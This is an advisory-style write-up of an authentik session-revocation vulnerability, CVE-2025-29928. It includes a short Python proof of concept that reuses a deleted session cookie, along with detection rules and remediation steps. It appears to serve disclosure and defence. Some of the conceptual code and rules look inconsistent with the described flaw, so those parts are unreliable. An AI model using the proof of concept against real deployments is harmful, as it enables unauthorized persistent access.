CVE-2025-29928

Executive Summary

CVE-2025-29928 is a critical vulnerability in authentik, an open-source identity provider. The flaw resides in the session management mechanism when the database is used for session storage (a non-default configuration). When an administrator or user deletes a session via the Web Interface or API, the session is not properly revoked. This allows the session holder to continue accessing authentik with the same privileges, effectively bypassing session invalidation controls. The vulnerability has a CVSS score of 8.0 (High) and is classified under CWE-613 (Insufficient Session Expiration). The vendor has released patches in versions 2024.12.4 and 2025.2.3. As a temporary workaround, switching to cache-based session storage is recommended, though this will invalidate all existing sessions.

Supply Chain & Package Security

This vulnerability affects the authentik application itself, which is distributed as a Docker image and via source code. There is no direct supply chain compromise of dependencies, but the session storage backend (database vs. cache) is a configuration choice that impacts security. Organizations using authentik should verify their session storage configuration and apply the patch promptly.

CVSS Breakdown & Threat Level

• CVSS Score: 8.0 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – an attacker needs a valid session or ability to trigger session deletion
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The vulnerability allows an attacker with a valid session to persist access even after the session is supposedly deleted. This can lead to unauthorized access to sensitive identity data, privilege escalation, and lateral movement within the identity provider.

Deep Dive & Mechanics

The vulnerability stems from the session revocation logic in authentik when using the database as the session storage backend. In the database-backed session store, session deletion is performed by removing the session record from the database. However, the session validation middleware does not check the database for session validity on every request; instead, it relies on a cached or in-memory state. When a session is deleted from the database, the middleware still considers the session valid because the session data remains in the application's memory or cache. This results in the session holder retaining access.

The fix involves ensuring that session deletion triggers a cache invalidation or that the session validation middleware checks the database for session existence on each request. The patch in versions 2024.12.4 and 2025.2.3 addresses this by properly invalidating the session cache upon deletion.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# In session middleware
def get_session(session_id):
    # Only checks cache, not database
    session = cache.get(session_id)
    if session:
        return session
    # Falls back to database but does not update cache
    session = db.query(Session).filter_by(id=session_id).first()
    return session

def delete_session(session_id):
    # Deletes from database but does not invalidate cache
    db.query(Session).filter_by(id=session_id).delete()
    db.commit()

Patched Code (Conceptual):

def delete_session(session_id):
    # Deletes from database and invalidates cache
    db.query(Session).filter_by(id=session_id).delete()
    db.commit()
    cache.delete(session_id)

def get_session(session_id):
    # Always checks database first, then cache
    session = db.query(Session).filter_by(id=session_id).first()
    if session:
        cache.set(session_id, session)
    return session

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to an authentik instance with database session storage (non-default).
• A valid session cookie for a user (e.g., authentik_session).

Exploitation Steps:

1. Obtain a valid session cookie for a target user.
2. As an administrator, delete the session via the Web Interface or API (e.g., DELETE /api/v3/sessions/{session_id}).
3. Despite the deletion, the session holder can still use the same cookie to access authentik resources.
4. The attacker can continue to use the session indefinitely until the cache expires or the server restarts.

Proof of Concept (Python):

import requests

base_url = "https://authentik.example.com"
session_cookie = {"authentik_session": "valid_session_id"}

# Step 1: Access as normal user
r = requests.get(f"{base_url}/api/v3/users/me", cookies=session_cookie)
print("Before deletion:", r.status_code)  # Should be 200

# Step 2: Delete session (requires admin privileges)
admin_session = {"authentik_session": "admin_session_id"}
requests.delete(f"{base_url}/api/v3/sessions/{session_cookie['authentik_session']}", cookies=admin_session)

# Step 3: Access again with the same cookie
r = requests.get(f"{base_url}/api/v3/users/me", cookies=session_cookie)
print("After deletion:", r.status_code)  # Still 200 (vulnerable)

Blue Team

Detection:

• Monitor for session deletion events followed by continued access from the same session ID.
• Look for anomalies in session activity logs where sessions are deleted but still appear in access logs.

Mitigation:

• Immediately switch to cache-based session storage (e.g., Redis) as a workaround.
• Apply the patch to versions 2024.12.4 or 2025.2.3.
• Implement additional monitoring for session reuse after deletion.

Indicators of Compromise (IOCs)

• Session ID reuse: A session ID that appears in access logs after a deletion event.
• Log entries: Session deleted followed by Session accessed with the same session ID.
• Network traffic: Repeated use of the same authentik_session cookie after an admin deletion request.

Detection Engineering

YARA Rule

rule CVE_2025_29928_Session_Reuse {
    meta:
        description = "Detect session reuse after deletion in authentik logs"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-29928"
    strings:
        $session_deleted = "Session deleted" nocase
        $session_accessed = "Session accessed" nocase
        $session_id = /session_id=[a-f0-9-]+/ nocase
    condition:
        #session_deleted > 0 and #session_accessed > 0 and #session_id > 0
}

Sigma Rule

title: CVE-2025-29928 - Session Reuse After Deletion in authentik
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects session reuse after deletion in authentik logs
author: Valters IT
date: 2025-04-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-29928
logsource:
    product: authentik
    service: audit
detection:
    selection:
        event: "session_deleted"
    condition: selection
    timeframe: 5m
    aggregation:
        - field: session_id
          condition: count > 1
falsepositives:
    - Legitimate session renewal
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-29928 - Session Reuse After Deletion in authentik"; flow:to_server,established; content:"DELETE"; http_method; content:"/api/v3/sessions/"; http_uri; pcre:"/session_id=[a-f0-9-]+/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Switch to cache-based session storage (e.g., Redis) in the authentik configuration. This will invalidate all existing sessions and require users to re-authenticate.
2. Apply the patch by upgrading to authentik 2024.12.4 or 2025.2.3.

Long-term:

• Implement session validation that always checks the database for session existence.
• Add monitoring for session deletion and reuse anomalies.
• Conduct a security review of session management logic.

Workaround:

• Change session storage backend to cache (e.g., Redis) via the AUTHENTIK_SESSION_BACKEND environment variable.

Valters IT
DevSecOps & Cyber Threat Intelligence